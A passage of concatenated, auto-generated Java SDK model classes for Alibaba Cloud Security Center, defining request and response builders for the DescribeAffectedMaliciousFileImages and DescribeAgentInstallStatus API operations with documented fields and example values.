* <p>The namespace to which the image repository belongs.</p>
* <blockquote>
* <p> Fuzzy match is supported.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>hanghai-namespace</p>
*/
public Builder repoNamespace(String repoNamespace) {
this.putQueryParameter("RepoNamespace", repoNamespace);
this.repoNamespace = repoNamespace;
return this;
}
/**
* <p>The region ID of the image repository. Valid values:</p>
* <ul>
* <li><strong>cn-beijing</strong>: China (Beijing)</li>
* <li><strong>cn-zhangjiakou</strong>: China (Zhangjiakou)</li>
* <li><strong>cn-hangzhou</strong>: China (Hangzhou)</li>
* <li><strong>cn-shanghai</strong>: China (Shanghai)</li>
* <li><strong>cn-shenzhen</strong>: China (Shenzhen)</li>
* <li><strong>cn-hongkong</strong>: China (Hong Kong)</li>
* <li><strong>ap-southeast-1</strong>: Singapore</li>
* <li><strong>ap-southeast-5</strong>: Indonesia (Jakarta)</li>
* <li><strong>us-east-1</strong>: US (Virginia)</li>
* <li><strong>us-west-1</strong>: US (Silicon Valley)</li>
* <li><strong>eu-central-1</strong>: Germany (Frankfurt)</li>
* <li><strong>eu-west-1</strong>: UK (London)</li>
* </ul>
*
* <strong>example:</strong>
* <p>cn-hangzhou</p>
*/
public Builder repoRegionId(String repoRegionId) {
this.putQueryParameter("RepoRegionId", repoRegionId);
this.repoRegionId = repoRegionId;
return this;
}
/**
* <p>The types of the assets that you want to scan.</p>
*/
public Builder scanRange(java.util.List<String> scanRange) {
this.putQueryParameter("ScanRange", scanRange);
this.scanRange = scanRange;
return this;
}
/**
* <p>The status of the malicious image sample. Valid values:</p>
* <ul>
* <li><strong>0</strong>: The malicious image sample is not handled.</li>
* <li><strong>1</strong>: The malicious image sample is handled.</li>
* <li><strong>2</strong>: The malicious image sample is being verified.</li>
* <li><strong>3</strong>: The malicious image sample is added to the whitelist.</li>
* </ul>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder status(String status) {
this.putQueryParameter("Status", status);
this.status = status;
return this;
}
@Override
public DescribeAffectedMaliciousFileImagesRequest build() {
return new DescribeAffectedMaliciousFileImagesRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAffectedMaliciousFileImagesResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAffectedMaliciousFileImagesResponse} extends {@link TeaModel}
*
* <p>DescribeAffectedMaliciousFileImagesResponse</p>
*/
public class DescribeAffectedMaliciousFileImagesResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAffectedMaliciousFileImagesResponseBody body;
private DescribeAffectedMaliciousFileImagesResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAffectedMaliciousFileImagesResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAffectedMaliciousFileImagesResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAffectedMaliciousFileImagesResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAffectedMaliciousFileImagesResponseBody body);
@Override
DescribeAffectedMaliciousFileImagesResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAffectedMaliciousFileImagesResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAffectedMaliciousFileImagesResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAffectedMaliciousFileImagesResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAffectedMaliciousFileImagesResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAffectedMaliciousFileImagesResponse build() {
return new DescribeAffectedMaliciousFileImagesResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAffectedMaliciousFileImagesResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAffectedMaliciousFileImagesResponseBody} extends {@link TeaModel}
*
* <p>DescribeAffectedMaliciousFileImagesResponseBody</p>
*/
public class DescribeAffectedMaliciousFileImagesResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("AffectedMaliciousFileImagesResponse")
private java.util.List<AffectedMaliciousFileImagesResponse> affectedMaliciousFileImagesResponse;
@com.aliyun.core.annotation.NameInMap("PageInfo")
private PageInfo pageInfo;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAffectedMaliciousFileImagesResponseBody(Builder builder) {
this.affectedMaliciousFileImagesResponse = builder.affectedMaliciousFileImagesResponse;
this.pageInfo = builder.pageInfo;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAffectedMaliciousFileImagesResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return affectedMaliciousFileImagesResponse
*/
public java.util.List<AffectedMaliciousFileImagesResponse> getAffectedMaliciousFileImagesResponse() {
return this.affectedMaliciousFileImagesResponse;
}
/**
* @return pageInfo
*/
public PageInfo getPageInfo() {
return this.pageInfo;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<AffectedMaliciousFileImagesResponse> affectedMaliciousFileImagesResponse;
private PageInfo pageInfo;
private String requestId;
private Builder() {
}
private Builder(DescribeAffectedMaliciousFileImagesResponseBody model) {
this.affectedMaliciousFileImagesResponse = model.affectedMaliciousFileImagesResponse;
this.pageInfo = model.pageInfo;
this.requestId = model.requestId;
}
/**
* <p>An array consisting of the images that have malicious image samples.</p>
*/
public Builder affectedMaliciousFileImagesResponse(java.util.List<AffectedMaliciousFileImagesResponse> affectedMaliciousFileImagesResponse) {
this.affectedMaliciousFileImagesResponse = affectedMaliciousFileImagesResponse;
return this;
}
/**
* <p>The pagination information.</p>
*/
public Builder pageInfo(PageInfo pageInfo) {
this.pageInfo = pageInfo;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>ACF97412-FD09-4D1F-994F-34DF12BREF20</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAffectedMaliciousFileImagesResponseBody build() {
return new DescribeAffectedMaliciousFileImagesResponseBody(this);
}
}
/**
*
* {@link DescribeAffectedMaliciousFileImagesResponseBody} extends {@link TeaModel}
*
* <p>DescribeAffectedMaliciousFileImagesResponseBody</p>
*/
public static class AffectedMaliciousFileImagesResponse extends TeaModel {
@com.aliyun.core.annotation.NameInMap("ClusterId")
private String clusterId;
@com.aliyun.core.annotation.NameInMap("ClusterName")
private String clusterName;
@com.aliyun.core.annotation.NameInMap("ContainerId")
private String containerId;
@com.aliyun.core.annotation.NameInMap("Digest")
private String digest;
@com.aliyun.core.annotation.NameInMap("DownloadUrl")
private String downloadUrl;
@com.aliyun.core.annotation.NameInMap("FilePath")
private String filePath;
@com.aliyun.core.annotation.NameInMap("FirstScanTimestamp")
private Long firstScanTimestamp;
@com.aliyun.core.annotation.NameInMap("HighLight")
private String highLight;
@com.aliyun.core.annotation.NameInMap("Id")
private Long id;
@com.aliyun.core.annotation.NameInMap("Image")
private String image;
@com.aliyun.core.annotation.NameInMap("ImageUuid")
private String imageUuid;
@com.aliyun.core.annotation.NameInMap("InstanceName")
private String instanceName;
@com.aliyun.core.annotation.NameInMap("InternetIp")
private String internetIp;
@com.aliyun.core.annotation.NameInMap("IntranetIp")
private String intranetIp;
@com.aliyun.core.annotation.NameInMap("LatestScanTimestamp")
private Long latestScanTimestamp;
@com.aliyun.core.annotation.NameInMap("LatestVerifyTimestamp")
private Long latestVerifyTimestamp;
@com.aliyun.core.annotation.NameInMap("Layer")
private String layer;
@com.aliyun.core.annotation.NameInMap("Level")
private String level;
@com.aliyun.core.annotation.NameInMap("MaliciousMd5")
private String maliciousMd5;
@com.aliyun.core.annotation.NameInMap("Namespace")
private String namespace;
@com.aliyun.core.annotation.NameInMap("Pod")
private String pod;
@com.aliyun.core.annotation.NameInMap("RepoId")
private String repoId;
@com.aliyun.core.annotation.NameInMap("RepoInstanceId")
private String repoInstanceId;
@com.aliyun.core.annotation.NameInMap("RepoName")
private String repoName;
@com.aliyun.core.annotation.NameInMap("RepoRegionId")
private String repoRegionId;
@com.aliyun.core.annotation.NameInMap("Status")
private Integer status;
@com.aliyun.core.annotation.NameInMap("Tag")
private String tag;
@com.aliyun.core.annotation.NameInMap("TargetId")
private String targetId;
@com.aliyun.core.annotation.NameInMap("TargetName")
private String targetName;
@com.aliyun.core.annotation.NameInMap("TargetType")
private String targetType;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
private AffectedMaliciousFileImagesResponse(Builder builder) {
this.clusterId = builder.clusterId;
this.clusterName = builder.clusterName;
this.containerId = builder.containerId;
this.digest = builder.digest;
this.downloadUrl = builder.downloadUrl;
this.filePath = builder.filePath;
this.firstScanTimestamp = builder.firstScanTimestamp;
this.highLight = builder.highLight;
this.id = builder.id;
this.image = builder.image;
this.imageUuid = builder.imageUuid;
this.instanceName = builder.instanceName;
this.internetIp = builder.internetIp;
this.intranetIp = builder.intranetIp;
this.latestScanTimestamp = builder.latestScanTimestamp;
this.latestVerifyTimestamp = builder.latestVerifyTimestamp;
this.layer = builder.layer;
this.level = builder.level;
this.maliciousMd5 = builder.maliciousMd5;
this.namespace = builder.namespace;
this.pod = builder.pod;
this.repoId = builder.repoId;
this.repoInstanceId = builder.repoInstanceId;
this.repoName = builder.repoName;
this.repoRegionId = builder.repoRegionId;
this.status = builder.status;
this.tag = builder.tag;
this.targetId = builder.targetId;
this.targetName = builder.targetName;
this.targetType = builder.targetType;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static AffectedMaliciousFileImagesResponse create() {
return builder().build();
}
/**
* @return clusterId
*/
public String getClusterId() {
return this.clusterId;
}
/**
* @return clusterName
*/
public String getClusterName() {
return this.clusterName;
}
/**
* @return containerId
*/
public String getContainerId() {
return this.containerId;
}
/**
* @return digest
*/
public String getDigest() {
return this.digest;
}
/**
* @return downloadUrl
*/
public String getDownloadUrl() {
return this.downloadUrl;
}
/**
* @return filePath
*/
public String getFilePath() {
return this.filePath;
}
/**
* @return firstScanTimestamp
*/
public Long getFirstScanTimestamp() {
return this.firstScanTimestamp;
}
/**
* @return highLight
*/
public String getHighLight() {
return this.highLight;
}
/**
* @return id
*/
public Long getId() {
return this.id;
}
/**
* @return image
*/
public String getImage() {
return this.image;
}
/**
* @return imageUuid
*/
public String getImageUuid() {
return this.imageUuid;
}
/**
* @return instanceName
*/
public String getInstanceName() {
return this.instanceName;
}
/**
* @return internetIp
*/
public String getInternetIp() {
return this.internetIp;
}
/**
* @return intranetIp
*/
public String getIntranetIp() {
return this.intranetIp;
}
/**
* @return latestScanTimestamp
*/
public Long getLatestScanTimestamp() {
return this.latestScanTimestamp;
}
/**
* @return latestVerifyTimestamp
*/
public Long getLatestVerifyTimestamp() {
return this.latestVerifyTimestamp;
}
/**
* @return layer
*/
public String getLayer() {
return this.layer;
}
/**
* @return level
*/
public String getLevel() {
return this.level;
}
/**
* @return maliciousMd5
*/
public String getMaliciousMd5() {
return this.maliciousMd5;
}
/**
* @return namespace
*/
public String getNamespace() {
return this.namespace;
}
/**
* @return pod
*/
public String getPod() {
return this.pod;
}
/**
* @return repoId
*/
public String getRepoId() {
return this.repoId;
}
/**
* @return repoInstanceId
*/
public String getRepoInstanceId() {
return this.repoInstanceId;
}
/**
* @return repoName
*/
public String getRepoName() {
return this.repoName;
}
/**
* @return repoRegionId
*/
public String getRepoRegionId() {
return this.repoRegionId;
}
/**
* @return status
*/
public Integer getStatus() {
return this.status;
}
/**
* @return tag
*/
public String getTag() {
return this.tag;
}
/**
* @return targetId
*/
public String getTargetId() {
return this.targetId;
}
/**
* @return targetName
*/
public String getTargetName() {
return this.targetName;
}
/**
* @return targetType
*/
public String getTargetType() {
return this.targetType;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder {
private String clusterId;
private String clusterName;
private String containerId;
private String digest;
private String downloadUrl;
private String filePath;
private Long firstScanTimestamp;
private String highLight;
private Long id;
private String image;
private String imageUuid;
private String instanceName;
private String internetIp;
private String intranetIp;
private Long latestScanTimestamp;
private Long latestVerifyTimestamp;
private String layer;
private String level;
private String maliciousMd5;
private String namespace;
private String pod;
private String repoId;
private String repoInstanceId;
private String repoName;
private String repoRegionId;
private Integer status;
private String tag;
private String targetId;
private String targetName;
private String targetType;
private String uuid;
private Builder() {
}
private Builder(AffectedMaliciousFileImagesResponse model) {
this.clusterId = model.clusterId;
this.clusterName = model.clusterName;
this.containerId = model.containerId;
this.digest = model.digest;
this.downloadUrl = model.downloadUrl;
this.filePath = model.filePath;
this.firstScanTimestamp = model.firstScanTimestamp;
this.highLight = model.highLight;
this.id = model.id;
this.image = model.image;
this.imageUuid = model.imageUuid;
this.instanceName = model.instanceName;
this.internetIp = model.internetIp;
this.intranetIp = model.intranetIp;
this.latestScanTimestamp = model.latestScanTimestamp;
this.latestVerifyTimestamp = model.latestVerifyTimestamp;
this.layer = model.layer;
this.level = model.level;
this.maliciousMd5 = model.maliciousMd5;
this.namespace = model.namespace;
this.pod = model.pod;
this.repoId = model.repoId;
this.repoInstanceId = model.repoInstanceId;
this.repoName = model.repoName;
this.repoRegionId = model.repoRegionId;
this.status = model.status;
this.tag = model.tag;
this.targetId = model.targetId;
this.targetName = model.targetName;
this.targetType = model.targetType;
this.uuid = model.uuid;
}
/**
* <p>The ID of the cluster.</p>
*
* <strong>example:</strong>
* <p>c08d5fc1a329a4b88950a253d082f1****</p>
*/
public Builder clusterId(String clusterId) {
this.clusterId = clusterId;
return this;
}
/**
* <p>The name of the cluster.</p>
*
* <strong>example:</strong>
* <p>docker-law</p>
*/
public Builder clusterName(String clusterName) {
this.clusterName = clusterName;
return this;
}
/**
* <p>The ID of the container.</p>
*
* <strong>example:</strong>
* <p>04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****</p>
*/
public Builder containerId(String containerId) {
this.containerId = containerId;
return this;
}
/**
* <p>The image digest.</p>
*
* <strong>example:</strong>
* <p>6a5e1031a5858617f7d8a179ead6****</p>
*/
public Builder digest(String digest) {
this.digest = digest;
return this;
}
/**
* <p>The URL to download the malicious image sample.</p>
*
* <strong>example:</strong>
* <p><a href="https://aegis-metadata-file.oss-cn-shanghai.aliyuncs.com/">https://aegis-metadata-file.oss-cn-shanghai.aliyuncs.com/</a></p>
*/
public Builder downloadUrl(String downloadUrl) {
this.downloadUrl = downloadUrl;
return this;
}
/**
* <p>The path to the image file.</p>
*
* <strong>example:</strong>
* <p>/d836968041f7683b5605a****</p>
*/
public Builder filePath(String filePath) {
this.filePath = filePath;
return this;
}
/**
* <p>The timestamp of the first scan.</p>
*
* <strong>example:</strong>
* <p>1594907349000</p>
*/
public Builder firstScanTimestamp(Long firstScanTimestamp) {
this.firstScanTimestamp = firstScanTimestamp;
return this;
}
/**
* <p>The text that is highlighted.</p>
*
* <strong>example:</strong>
* <p>{"ruleVersion":"highlight_20210908","ruleId":600106,"events":[[2,54]]}</p>
*/
public Builder highLight(String highLight) {
this.highLight = highLight;
return this;
}
/**
* <p>The ID of alert event.</p>
*
* <strong>example:</strong>
* <p>1000040</p>
*/
public Builder id(Long id) {
this.id = id;
return this;
}
/**
* <p>The name of the image.</p>
*
* <strong>example:</strong>
* <p>registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****</p>
*/
public Builder image(String image) {
this.image = image;
return this;
}
/**
* <p>The UUID of the image.</p>
*
* <strong>example:</strong>
* <p>e05c0de798217637868ef4****</p>
*/
public Builder imageUuid(String imageUuid) {
this.imageUuid = imageUuid;
return this;
}
/**
* <p>The name of the ECS instance.</p>
*
* <strong>example:</strong>
* <p>sql-test-001</p>
*/
public Builder instanceName(String instanceName) {
this.instanceName = instanceName;
return this;
}
/**
* <p>The public IP address of the server.</p>
*
* <strong>example:</strong>
* <p>47.101.XX.XX</p>
*/
public Builder internetIp(String internetIp) {
this.internetIp = internetIp;
return this;
}
/**
* <p>The private IP address of the server.</p>
*
* <strong>example:</strong>
* <p>172.22.XX.XX</p>
*/
public Builder intranetIp(String intranetIp) {
this.intranetIp = intranetIp;
return this;
}
/**
* <p>The timestamp of the last scan.</p>
*
* <strong>example:</strong>
* <p>1596522785000</p>
*/
public Builder latestScanTimestamp(Long latestScanTimestamp) {
this.latestScanTimestamp = latestScanTimestamp;
return this;
}
/**
* <p>The timestamp of the last verification.</p>
*
* <strong>example:</strong>
* <p>1596522711000</p>
*/
public Builder latestVerifyTimestamp(Long latestVerifyTimestamp) {
this.latestVerifyTimestamp = latestVerifyTimestamp;
return this;
}
/**
* <p>The image layer.</p>
*
* <strong>example:</strong>
* <p>27213ad3447f0209dd152a5cadea****</p>
*/
public Builder layer(String layer) {
this.layer = layer;
return this;
}
/**
* <p>The severity of the malicious image sample. Valid values:</p>
* <ul>
* <li><strong>serious</strong></li>
* <li><strong>suspicious</strong></li>
* <li><strong>remind</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>serious</p>
*/
public Builder level(String level) {
this.level = level;
return this;
}
/**
* <p>The MD5 hash value of the malicious image sample.</p>
*
* <strong>example:</strong>
* <p>d836968041f768300d9605a****</p>
*/
public Builder maliciousMd5(String maliciousMd5) {
this.maliciousMd5 = maliciousMd5;
return this;
}
/**
* <p>The namespace to which the image repository belongs.</p>
*
* <strong>example:</strong>
* <p>hanghai-namespace</p>
*/
public Builder namespace(String namespace) {
this.namespace = namespace;
return this;
}
/**
* <p>The pod.</p>
*
* <strong>example:</strong>
* <p>22222-7xsqq</p>
*/
public Builder pod(String pod) {
this.pod = pod;
return this;
}
/**
* <p>The ID of the image repository.</p>
*
* <strong>example:</strong>
* <p>crr-vridcl4****</p>
*/
public Builder repoId(String repoId) {
this.repoId = repoId;
return this;
}
/**
* <p>The ID of the container image.</p>
*
* <strong>example:</strong>
* <p>cri-datvail3m****</p>
*/
public Builder repoInstanceId(String repoInstanceId) {
this.repoInstanceId = repoInstanceId;
return this;
}
/**
* <p>The name of the image repository.</p>
*
* <strong>example:</strong>
* <p>centos</p>
*/
public Builder repoName(String repoName) {
this.repoName = repoName;
return this;
}
/**
* <p>The region ID of the image repository.</p>
*
* <strong>example:</strong>
* <p>cn-shanghai</p>
*/
public Builder repoRegionId(String repoRegionId) {
this.repoRegionId = repoRegionId;
return this;
}
/**
* <p>The handling status of the malicious image sample. Valid values:</p>
* <ul>
* <li><strong>0</strong>: unhandled</li>
* <li><strong>1</strong>: handled</li>
* <li><strong>2</strong>: verifying</li>
* <li><strong>3</strong>: added to the whitelist</li>
* </ul>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder status(Integer status) {
this.status = status;
return this;
}
/**
* <p>The tag that is added to the image.</p>
*
* <strong>example:</strong>
* <p>0.2</p>
*/
public Builder tag(String tag) {
this.tag = tag;
return this;
}
/**
* <p>The ID of the task object.</p>
*
* <strong>example:</strong>
* <p>m-bp17m0pc0xprzbwo****</p>
*/
public Builder targetId(String targetId) {
this.targetId = targetId;
return this;
}
/**
* <p>The name of the task object.</p>
*
* <strong>example:</strong>
* <p>source-test-obj-9LaLJ</p>
*/
public Builder targetName(String targetName) {
this.targetName = targetName;
return this;
}
/**
* <p>The object type. Valid value:</p>
* <ul>
* <li><strong>ECS_IMAGE</strong></li>
* <li><strong>ECS_SNAPSHOT</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>ECS_IMAGE</p>
*/
public Builder targetType(String targetType) {
this.targetType = targetType;
return this;
}
/**
* <p>The UUID of the server.</p>
*
* <strong>example:</strong>
* <p>48a473c4-1650-4931-a822-7e6c2c28****</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
public AffectedMaliciousFileImagesResponse build() {
return new AffectedMaliciousFileImagesResponse(this);
}
}
}
/**
*
* {@link DescribeAffectedMaliciousFileImagesResponseBody} extends {@link TeaModel}
*
* <p>DescribeAffectedMaliciousFileImagesResponseBody</p>
*/
public static class PageInfo extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private PageInfo(Builder builder) {
this.count = builder.count;
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static PageInfo create() {
return builder().build();
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private Integer count;
private Integer currentPage;
private Integer pageSize;
private Integer totalCount;
private Builder() {
}
private Builder(PageInfo model) {
this.count = model.count;
this.currentPage = model.currentPage;
this.pageSize = model.pageSize;
this.totalCount = model.totalCount;
}
/**
* <p>The number of images that have malicious image samples returned on the current page.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The page number of the returned page. Pages start from page <strong>1</strong>. Default value: <strong>1</strong>.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries returned per page. Default value: <strong>20</strong>.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The total number of images that have malicious image samples.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public PageInfo build() {
return new PageInfo(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAgentInstallStatusRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAgentInstallStatusRequest} extends {@link RequestModel}
*
* <p>DescribeAgentInstallStatusRequest</p>
*/
public class DescribeAgentInstallStatusRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Lang")
private String lang;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SourceIp")
private String sourceIp;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Uuids")
@com.aliyun.core.annotation.Validation(required = true)
private String uuids;
private DescribeAgentInstallStatusRequest(Builder builder) {
super(builder);
this.lang = builder.lang;
this.sourceIp = builder.sourceIp;
this.uuids = builder.uuids;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAgentInstallStatusRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return lang
*/
public String getLang() {
return this.lang;
}
/**
* @return sourceIp
*/
public String getSourceIp() {
return this.sourceIp;
}
/**
* @return uuids
*/
public String getUuids() {
return this.uuids;
}
public static final class Builder extends Request.Builder<DescribeAgentInstallStatusRequest, Builder> {
private String lang;
private String sourceIp;
private String uuids;
private Builder() {
super();
}
private Builder(DescribeAgentInstallStatusRequest request) {
super(request);
this.lang = request.lang;
this.sourceIp = request.sourceIp;
this.uuids = request.uuids;
}
/**
* <p>The language of the content within the request and response. Valid value:</p>
* <ul>
* <li><strong>zh</strong>: Chinese</li>
* <li><strong>en</strong>: English</li>
* </ul>
*
* <strong>example:</strong>
* <p>zh</p>
*/
public Builder lang(String lang) {
this.putQueryParameter("Lang", lang);
this.lang = lang;
return this;
}
/**
* <p>The source IP address of the request.</p>
*
* <strong>example:</strong>
* <p>59.46.XXX.XXX</p>
*/
public Builder sourceIp(String sourceIp) {
this.putQueryParameter("SourceIp", sourceIp);
this.sourceIp = sourceIp;
return this;
}
/**
* <p>The UUIDs of servers. Separate multiple UUIDs with commas (,).</p>
* <blockquote>
* <p>You can call the <a href="~~DescribeCloudCenterInstances~~">DescribeCloudCenterInstances</a> operation to query the UUIDs of servers.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>inet-eae014a7-16c4-4d4e-9f03-5208f4dc****,inet-eae047da-1e5a-41ce-828d-47606e9b****</p>
*/
public Builder uuids(String uuids) {
this.putQueryParameter("Uuids", uuids);
this.uuids = uuids;
return this;
}
@Override
public DescribeAgentInstallStatusRequest build() {
return new DescribeAgentInstallStatusRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAgentInstallStatusResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAgentInstallStatusResponse} extends {@link TeaModel}
*
* <p>DescribeAgentInstallStatusResponse</p>
*/
public class DescribeAgentInstallStatusResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAgentInstallStatusResponseBody body;
private DescribeAgentInstallStatusResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAgentInstallStatusResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAgentInstallStatusResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAgentInstallStatusResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAgentInstallStatusResponseBody body);
@Override
DescribeAgentInstallStatusResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAgentInstallStatusResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAgentInstallStatusResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAgentInstallStatusResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAgentInstallStatusResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAgentInstallStatusResponse build() {
return new DescribeAgentInstallStatusResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAgentInstallStatusResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
